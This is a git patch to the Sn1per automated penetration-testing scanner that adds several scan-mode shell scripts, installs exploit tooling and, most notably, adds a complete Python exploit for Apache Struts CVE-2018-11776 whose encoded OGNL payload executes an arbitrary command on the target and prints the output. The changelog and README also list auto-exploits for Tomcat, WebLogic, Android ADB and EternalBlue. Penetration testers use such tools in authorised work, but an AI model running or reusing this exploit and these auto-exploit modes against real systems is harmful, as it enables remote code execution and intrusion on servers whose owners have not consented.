From 130de13b7125a5561b7dfc7e3152db5e521043ac Mon Sep 17 00:00:00 2001 From: WP Engine Marketing Date: Tue, 28 Aug 2018 08:42:10 -0700 Subject: [PATCH] Sn1per by 1N3@CrowdShield --- CHANGELOG.md | 12 +- README.md | 40 +- bin/apache-struts-CVE-2018-11776.py | 226 +++ bin/tomcat-cve-2017-12617.py | 11 - install.sh | 4 +- modes/airstrike.sh | 132 ++ modes/discover.sh | 60 + modes/flyover.sh | 115 ++ modes/normal.sh | 1314 +++++++++++++++ modes/nuke.sh | 56 + modes/stealth.sh | 339 ++++ modes/web.sh | 21 + modes/webporthttp.sh | 260 +++ modes/webporthttps.sh | 272 +++ sniper | 2439 +-------------------------- wordlists/toplist-full-sorted.txt | 20 +- wordlists/toplist-insane-sorted.txt | 17 +- wordlists/toplist-quick-sorted.txt | 42 +- wordlists/toplist-sorted.txt | 3 +- 19 files changed, 2914 insertions(+), 2469 deletions(-) create mode 100644 bin/apache-struts-CVE-2018-11776.py create mode 100644 modes/airstrike.sh create mode 100644 modes/discover.sh create mode 100644 modes/flyover.sh create mode 100644 modes/normal.sh create mode 100644 modes/nuke.sh create mode 100644 modes/stealth.sh create mode 100644 modes/web.sh create mode 100644 modes/webporthttp.sh create mode 100644 modes/webporthttps.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index 320bde1..ab0d84a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,14 @@ ## CHANGELOG: +* v5.5 - Added new multi-threaded high speed "flyover" mode added +* v5.5 - Added new scan status mode via (sniper --status) command +* v5.5 - Apache Struts CVE-2018-11776 RCE exploit +* v5.5 - Added Android Insecure ADB RCE auto exploit +* v5.5 - Added Apache Tomcat CVE-2017-12617 RCE exploit +* v5.5 - Added Oracle WebLogic WLS-WSAT Component Deserialisation RCE CVE-2017-10271 MSF exploit +* v5.5 - Added BlackWidow web application scanner with INJECTX fuzzer +* v5.5 - Added CVE-2018-15473 SSH user enumeration script +* v5.5 - Minor wordlist updates for web file brute forcing +* v5.4 - Updated Golang in install.sh * v5.3 - Updated AMass repo in install.sh * v5.3 - Removed CloudFail * v5.3 - Fixed issue with subfinder missing brute force list @@ -7,7 +17,7 @@ * v5.2 - Added Subfinder subdomain enumeration tool * v5.2 - Added Amass subdomain enumeration tool * v5.2 - Added configurable modules/plugins to sniper script -* v5.2 - Added MS17-010 SMB Etternal Blue MSF Exploit +* v5.2 - Added MS17-010 SMB Etternal Blue MSF exploit * v5.2 - Added MSF Postgresql login scanner * v5.2 - Added passive web spider * v5.2 - Added WebDav metasploit aux modules diff --git a/README.md b/README.md index bda4256..32b40eb 100644 --- a/README.md +++ b/README.md @@ -1,35 +1,12 @@ -![alt tag](https://github.com/1N3/Sn1per/blob/master/Sn1per.jpg) - -[![GitHub release](https://img.shields.io/github/release/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/releases) -[![GitHub issues](https://img.shields.io/github/issues/1N3/Sn1per.svg)](https://github.com/1N3/Sn1per/issues) -[![Github Stars](https://img.shields.io/github/stars/1N3/Sn1per.svg?style=social&label=Stars)](https://github.com/1N3/Sn1per/) -[![GitHub Followers](https://img.shields.io/github/followers/1N3.svg?style=social&label=Follow)](https://github.com/1N3/Sn1per/) -[![Tweet](https://img.shields.io/twitter/url/http/crowdshield.svg?style=social)](https://twitter.com/intent/tweet?original_referer=https%3A%2F%2Fdeveloper.twitter.com%2Fen%2Fdocs%2Ftwitter-for-websites%2Ftweet-button%2Foverview&ref_src=twsrc%5Etfw&text=Sn1per%20-%20Automated%20Pentest%20Recon%20Scanner&tw_p=tweetbutton&url=https%3A%2F%2Fgithub.com%2F1N3%2FSn1per) -[![Follow on Twitter](https://img.shields.io/twitter/follow/crowdshield.svg?style=social&label=Follow)](https://twitter.com/intent/follow?screen_name=crowdshield) +![alt tag](https://github.com/1N3/Sn1per/blob/master/Sn1per.gif) ## ABOUT: -Sn1per Community Edition is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to https://xerosecurity.com. - -## SN1PER PROFESSIONAL FEATURES: -### Professional reporting interface -### Slideshow for all gathered screenshots -![](https://xerosecurity.com/images/sn1per-pro4.png) -### Searchable and sortable DNS, IP and open port database -![](https://xerosecurity.com/images/Sn1per-pro11.png) -### Categorized host reports -![](https://xerosecurity.com/images/Sn1per-pro8.png) -### Quick links to online recon tools and Google hacking queries -![](https://xerosecurity.com/images/sn1per-pro5.png) -### Personalized notes field for each host -![](https://xerosecurity.com/images/sn1per-pro13.png) - -## ORDER SN1PER PROFESSIONAL: -To obtain a Sn1per Professional license, go to https://xerosecurity.com. +Sn1per is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. ## DEMO VIDEO: [![Demo](https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm.png)](https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm) -## SN1PER COMMUNITY FEATURES: +## FEATURES: - [x] Automatically collects basic recon (ie. whois, ping, DNS, etc.) - [x] Automatically launches Google hacking queries against a target domain - [x] Automatically enumerates open ports via NMap port scanning @@ -55,6 +32,10 @@ To obtain a Sn1per Professional license, go to https://xerosecurity.com. - [x] Create individual workspaces to store all scan output ## AUTO-PWN: +- [x] Apache Struts CVE-2018-11776 RCE exploit +- [x] Android Insecure ADB RCE auto exploit +- [x] Apache Tomcat CVE-2017-12617 RCE exploit +- [x] Oracle WebLogic WLS-WSAT Component Deserialisation RCE CVE-2017-10271 MSF exploit - [x] Drupal Drupalgedon2 RCE CVE-2018-7600 - [x] GPON Router RCE CVE-2018-10561 - [x] Apache Struts 2 RCE CVE-2017-5638 @@ -138,6 +119,9 @@ sniper -t|--target [*] LOOT REIMPORT FUNCTION sniper -w --reimport +[*] SCAN STATUS +sniper --status + [*] UPDATE SNIPER sniper -u|--update ``` @@ -145,17 +129,17 @@ sniper -u|--update ### MODES: * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance. * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking. +* **FLYOVER:** Quick multi-threaded high level recon scanner for multiple hosts. * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans. * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML. -* **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly. +* **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly. * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port. * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port. * **UPDATE:** Checks for updates and upgrades all components used by sniper. * **REIMPORT:** Reimport all workspace files into Metasploit and reproduce all reports. -* **RELOAD:** Reload the master workspace report. ## SAMPLE REPORT: https://gist.github.com/1N3/8214ec2da2c91691bcbc diff --git a/bin/apache-struts-CVE-2018-11776.py b/bin/apache-struts-CVE-2018-11776.py new file mode 100644 index 0000000..edbf3c5 --- /dev/null +++ b/bin/apache-struts-CVE-2018-11776.py @@ -0,0 +1,226 @@ +#!/usr/bin/env python3 +# coding=utf-8 +# ***************************************************** +# struts-pwn: Apache Struts CVE-2018-11776 Exploit +# Author: +# Mazin Ahmed +# This code uses a payload from: +# https://github.com/jas502n/St2-057 +# ***************************************************** + +import argparse +import random +import requests +import sys +try: + from urllib import parse as urlparse +except ImportError: + import urlparse + +# Disable SSL warnings +try: + import requests.packages.urllib3 + requests.packages.urllib3.disable_warnings() +except Exception: + pass + +if len(sys.argv) <= 1: + print('[*] CVE: 2018-11776 - Apache Struts2 S2-057') + print('[*] Struts-PWN - @mazen160') + print('\n%s -h for help.' % (sys.argv[0])) + exit(0) + + +parser = argparse.ArgumentParser() +parser.add_argument("-u", "--url", + dest="url", + help="Check a single URL.", + action='store') +parser.add_argument("-l", "--list", + dest="usedlist", + help="Check a list of URLs.", + action='store') +parser.add_argument("-c", "--cmd", + dest="cmd", + help="Command to execute. (Default: 'id')", + action='store', + default='id') +parser.add_argument("--exploit", + dest="do_exploit", + help="Exploit.", + action='store_true') + + +args = parser.parse_args() +url = args.url if args.url else None +usedlist = args.usedlist if args.usedlist else None +cmd = args.cmd if args.cmd else None +do_exploit = args.do_exploit if args.do_exploit else None + +headers = { + 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)', + # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', + 'Accept': '*/*' +} +timeout = 3 + + +def parse_url(url): + """ + Parses the URL. + """ + + # url: http://example.com/demo/struts2-showcase/index.action + + url = url.replace('#', '%23') + url = url.replace(' ', '%20') + + if ('://' not in url): + url = str("http://") + str(url) + scheme = urlparse.urlparse(url).scheme + + # Site: http://example.com + site = scheme + '://' + urlparse.urlparse(url).netloc + + # FilePath: /demo/struts2-showcase/index.action + file_path = urlparse.urlparse(url).path + if (file_path == ''): + file_path = '/' + + # Filename: index.action + try: + filename = url.split('/')[-1] + except IndexError: + filename = '' + + # File Dir: /demo/struts2-showcase/ + file_dir = file_path.rstrip(filename) + if (file_dir == ''): + file_dir = '/' + + return({"site": site, + "file_dir": file_dir, + "filename": filename}) + + +def build_injection_inputs(url): + """ + Builds injection inputs for the check. + """ + + parsed_url = parse_url(url) + injection_inputs = [] + url_directories = parsed_url["file_dir"].split("/") + + try: + url_directories.remove("") + except ValueError: + pass + + for i in range(len(url_directories)): + injection_entry = "/".join(url_directories[:i]) + + if not injection_entry.startswith("/"): + injection_entry = "/%s" % (injection_entry) + + if not injection_entry.endswith("/"): + injection_entry = "%s/" % (injection_entry) + + injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload. + injection_entry += parsed_url["filename"] + + injection_inputs.append(injection_entry) + + return(injection_inputs) + + +def check(url): + random_value = int(''.join(random.choice('0123456789') for i in range(2))) + multiplication_value = random_value * random_value + injection_points = build_injection_inputs(url) + parsed_url = parse_url(url) + print("[%] Checking for CVE-2018-11776") + print("[*] URL: %s" % (url)) + print("[*] Total of Attempts: (%s)" % (len(injection_points))) + attempts_counter = 0 + + for injection_point in injection_points: + attempts_counter += 1 + print("[%s/%s]" % (attempts_counter, len(injection_points))) + testing_url = "%s%s" % (parsed_url["site"], injection_point) + testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value)) + try: + resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) + except Exception as e: + print("EXCEPTION::::--> " + str(e)) + continue + if "Location" in resp.headers.keys(): + if str(multiplication_value) in resp.headers['Location']: + print("[*] Status: Vulnerable!") + return(injection_point) + print("[*] Status: Not Affected.") + return(None) + + +def exploit(url, cmd): + parsed_url = parse_url(url) + + injection_point = check(url) + if injection_point is None: + print("[%] Target is not vulnerable.") + return(0) + print("[%] Exploiting...") + + payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd) + + testing_url = "%s%s" % (parsed_url["site"], injection_point) + testing_url = testing_url.replace("{{INJECTION_POINT}}", payload) + + try: + resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) + except Exception as e: + print("EXCEPTION::::--> " + str(e)) + return(1) + + print("[%] Response:") + print(resp.text) + return(0) + + +def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): + if url: + if not do_exploit: + check(url) + else: + exploit(url, cmd) + + if usedlist: + URLs_List = [] + try: + f_file = open(str(usedlist), "r") + URLs_List = f_file.read().replace("\r", "").split("\n") + try: + URLs_List.remove("") + except ValueError: + pass + f_file.close() + except Exception as e: + print("Error: There was an error in reading list file.") + print("Exception: " + str(e)) + exit(1) + for url in URLs_List: + if not do_exploit: + check(url) + else: + exploit(url, cmd) + + print("[%] Done.") + + +if __name__ == "__main__": + try: + main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) + except KeyboardInterrupt: + print("\nKeyboardInterrupt Detected.") + print("Exiting...") + exit(0) diff --git a/bin/tomcat-cve-2017-12617.py b/bin/tomcat-cve-2017-12617.py index 442fc27..6f6148d 100644 --- a/bin/tomcat-cve-2017-12617.py +++ b/bin/tomcat-cve-2017-12617.py @@ -211,14 +211,3 @@ else: if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m" - - - - - - - - - - - diff --git a/install.sh b/install.sh index 71b69e5..21f7846 100755 --- a/install.sh +++ b/install.sh @@ -38,7 +38,7 @@ cp -Rf * $INSTALL_DIR 2> /dev/null cd $INSTALL_DIR echo -e "$OKORANGE + -- --=[Installing package dependencies...$RESET" -apt-get install nfs-common eyewitness nodejs wafw00f xdg-utils metagoofil clusterd ruby rubygems python dos2unix zenmap sslyze arachni aha libxml2-utils rpcbind uniscan xprobe2 cutycapt host whois dirb dnsrecon curl nmap php php-curl hydra iceweasel wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap jq golang +apt-get install nfs-common eyewitness nodejs wafw00f xdg-utils metagoofil clusterd ruby rubygems python dos2unix zenmap sslyze arachni aha libxml2-utils rpcbind uniscan xprobe2 cutycapt host whois dirb dnsrecon curl nmap php php-curl hydra iceweasel wpscan sqlmap nbtscan enum4linux cisco-torch metasploit-framework theharvester dnsenum nikto smtp-user-enum whatweb sslscan amap jq golang adb apt-get install waffit 2> /dev/null pip install dnspython colorama tldextract urllib3 ipaddress requests curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash @@ -75,6 +75,7 @@ git clone https://github.com/1N3/jexboss.git git clone https://github.com/maurosoria/dirsearch.git git clone https://github.com/jekyc/wig.git git clone https://github.com/rbsec/dnscan.git +git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git ssh-enum pip3 install -r $PLUGINS_DIR/dnscan/requirements.txt mv $INSTALL_DIR/bin/slurp.zip $PLUGINS_DIR unzip slurp.zip @@ -129,6 +130,5 @@ ln -s $PLUGINS_DIR/MassBleed/massbleed /usr/bin/massbleed ln -s $PLUGINS_DIR/testssl.sh/testssl.sh /usr/bin/testssl ln -s $PLUGINS_DIR/dirsearch/dirsearch.py /usr/bin/dirsearch msfdb init -msfdb start echo -e "$OKORANGE + -- --=[Done!$RESET" echo -e "$OKORANGE + -- --=[To run, type 'sniper'! $RESET" diff --git a/modes/airstrike.sh b/modes/airstrike.sh new file mode 100644 index 0000000..12b091a --- /dev/null +++ b/modes/airstrike.sh @@ -0,0 +1,132 @@ +# AIRSTRIKE MODE ##################################################################################################### +if [ "$MODE" = "airstrike" ]; then + if [ -z "$FILE" ]; then + logo + echo "You need to specify a list of targets (ie. -f ) to scan." + exit + fi + if [ "$REPORT" = "1" ]; then + for a in `cat $FILE`; + do + if [ "$AUTOBRUTE" = "1" ]; then + args="$args -b" + fi + if [ "$FULLNMAPSCAN" = "1" ]; then + args="$args -fp" + fi + if [ "$OSINT" = "1" ]; then + args="$args -o" + fi + if [ "$RECON" = "1" ]; then + args="$args -re" + fi + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $WORKSPACE_DIR 2> /dev/null + mkdir $WORKSPACE_DIR/domains 2> /dev/null + mkdir $WORKSPACE_DIR/screenshots 2> /dev/null + mkdir $WORKSPACE_DIR/nmap 2> /dev/null + mkdir $WORKSPACE_DIR/notes 2> /dev/null + mkdir $WORKSPACE_DIR/reports 2> /dev/null + mkdir $WORKSPACE_DIR/output 2> /dev/null + fi + args="$args -m stealth --noreport --noloot" + TARGET="$a" + args="$args -t $TARGET" + echo -e "$OKRED |" + echo -e "$OKRED | |" + echo -e "$OKRED | -/_\-" + echo -e "$OKRED -/_\- ______________(/ . \)______________" + echo -e "$OKRED ____________(/ . \)_____________ \___/ <>" + echo -e "$OKRED <> \___/ <> <>" + echo -e "$OKRED " + echo -e "$OKRED ||" + echo -e "$OKRED <>" + echo -e "$OKRED ||" + echo -e "$OKRED <>" + echo -e "$OKRED ||" + echo -e "$OKRED || BIG" + echo -e "$OKRED _____ __ <> (^)))^ BOOM!" + echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )" + echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )" + echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)" + echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" + echo -e "$OKRED | ||. | | | ||| |||||" + echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||" + echo -e "$OKRED | ||. | | | ||| |||||" + echo -e "$OKRED __________________________________________________________" + echo -e "$OKRED Bomb raid (contributed by Michael aka SNOOPY@DRYCAS.CLUB.CC.CMU.EDU)" + echo -e "$RESET" + if [ ! -z "$WORKSPACE_DIR" ]; then + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + else + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + fi + args="" + done + fi + if [ "$LOOT" = "1" ]; then + loot + fi + exit +fi + +# FULLPORTONLY MODE +if [ "$MODE" = "fullportonly" ]; then + + if [ "$REPORT" = "1" ]; then + args="-t $TARGET" + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/scans 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + fi + args="$args --noreport -m fullportonly" + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + exit + fi + + logo + echo "$TARGET" >> $LOOT_DIR/domains/targets.txt + if [ -z "$PORT" ]; then + nmap -Pn -A -v -T4 -p$DEFAULT_TCP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -Pn -sU -A -T4 -v -p$DEFAULT_UDP_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET-udp.xml + else + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED PERFORMING TCP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -Pn -A -v -T4 -p $PORT $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED PERFORMING UDP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -Pn -A -v -T4 -sU -p $PORT -Pn $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml >> $LOOT_DIR/nmap/nmap-$TARGET.txt + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED DONE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + loot + exit +fi + +if [ "$MODE" = "port" ]; then + if [ -z "$PORT" ]; then + echo -e "$OKRED + -- --=[Error: You need to enter a port number. $RESET" + exit + fi +fi diff --git a/modes/discover.sh b/modes/discover.sh new file mode 100644 index 0000000..55c6855 --- /dev/null +++ b/modes/discover.sh @@ -0,0 +1,60 @@ +# DISCOVER MODE ##################################################################################################### +if [ "$MODE" = "discover" ]; then + if [ "$REPORT" = "1" ]; then + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + mkdir $LOOT_DIR/scans 2> /dev/null + fi + echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt + sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + exit + fi + echo -e "$OKRED ____ /\\" + echo -e "$OKRED Sn1per by 1N3 @CrowdShield \ \\" + echo -e "$OKRED https://xerosecurity.com \ \\" + echo -e "$OKRED ___ / \\" + echo -e "$OKRED \ \\" + echo -e "$OKRED === > [ \\" + echo -e "$OKRED / \ \\" + echo -e "$OKRED \ / /" + echo -e "$OKRED === > [ /" + echo -e "$OKRED / /" + echo -e "$OKRED ___ \ /" + echo -e "$OKRED / /" + echo -e "$OKRED ____ / /" + echo -e "$OKRED \/$RESET" + echo "" + OUT_FILE=$(echo "$TARGET" | tr / -) + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PING DISCOVERY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -sP $TARGET | tee $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips.txt + cat $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips.txt | grep "scan report" | awk '{print $5}' > $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips-sorted.txt + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -T4 -v -sC -sA -sV -F $TARGET 2>/dev/null | tee $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ports.txt 2>/dev/null + cat $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ports.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ips.txt + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CURRENT TARGETS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cat $LOOT_DIR/domains/sniper-$OUT_FILE-ping-ips-sorted.txt $LOOT_DIR/domains/sniper-$OUT_FILE-tcp-ips.txt > $LOOT_DIR/domains/sniper-$OUT_FILE-ips-unsorted.txt + sort -u $LOOT_DIR/domains/sniper-$OUT_FILE-ips-unsorted.txt > $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt + cat $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt + echo "" + echo -e "$OKRED[+]$RESET Target list saved to $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt " + echo -e "$OKRED[i] To scan all IP's, use sniper -f $LOOT_DIR/domains/sniper-$OUT_FILE-ips.txt -m airstrike or nuke modes. $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SCAN COMPLETE! $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + exit +fi \ No newline at end of file diff --git a/modes/flyover.sh b/modes/flyover.sh new file mode 100644 index 0000000..766f2d2 --- /dev/null +++ b/modes/flyover.sh @@ -0,0 +1,115 @@ +# FLYOVER MODE ###################################################################################################### +if [ "$MODE" = "flyover" ]; then + if [ -z "$FILE" ]; then + logo + echo "You need to specify a list of targets (ie. -f ) to scan." + exit + fi + + if [ "$REPORT" = "1" ]; then + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $WORKSPACE_DIR 2> /dev/null + mkdir $WORKSPACE_DIR/domains 2> /dev/null + mkdir $WORKSPACE_DIR/screenshots 2> /dev/null + mkdir $WORKSPACE_DIR/nmap 2> /dev/null + mkdir $WORKSPACE_DIR/notes 2> /dev/null + mkdir $WORKSPACE_DIR/reports 2> /dev/null + mkdir $WORKSPACE_DIR/output 2> /dev/null + fi + + args="$args -m flyover --noreport --noloot" + TARGET="$a" + args="$args -f $FILE" + echo -e "$OKRED " + echo -e "$OKRED . . " + echo -e "$OKRED // "'\\\\ ' + echo -e "$OKRED // "'\\\\ ' + echo -e "$OKRED // "'\\\\ ' + echo -e "$OKRED // _._ "'\\\\ ' + echo -e "$OKRED .---. .//|"'\\\\. .---. ' + echo -e "$OKRED ________ / .-. \_________..-~ _.-._ ~-..________ / .-. \_________ -sr " + echo -e "$OKRED \ ~-~ / /H- \`-=.___.=-' -H\ \ ~-~ / " + echo -e "$OKRED ~~~ / H [H] H \ ~~~ " + echo -e "$OKRED / _H_ _H_ _H_ \ " + echo -e "$OKRED UUU UUU UUU " + echo -e "$OKRED " + echo -e "$RESET" + + if [ ! -z "$WORKSPACE_DIR" ]; then + echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt + sniper $args | tee $WORKSPACE_DIR/output/sniper-$WORKSPACE-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + else + echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt + sniper $args | tee $LOOT_DIR/output/sniper-$WORKSPACE-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 + fi + + args="" + fi + + i=1 + for HOST in `sort -u $FILE`; do + TARGET="$HOST" + echo "$TARGET" >> $LOOT_DIR/domains/targets.txt + echo -e "$OKRED=====================================================================================$RESET" + echo -e "${OKBLUE}HOST:$RESET $TARGET" + + dig all +short $TARGET 2> /dev/null > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null & + dig all +short -x $TARGET 2> /dev/null >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null & + + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null + + curl --connect-timeout 3 -I -s -R http://$TARGET > $LOOT_DIR/web/headers-http-$TARGET.txt & 2> /dev/null + curl --connect-timeout 3 -I -s -R https://$TARGET > $LOOT_DIR/web/headers-https-$TARGET.txt & 2> /dev/null + + nmap -sS -T5 --open -Pn -p $QUICK_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null & + + cat $LOOT_DIR/nmap/dns-$TARGET.txt | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" 2>/dev/null | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null & 2> /dev/null + + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=1000 2> /dev/null & + 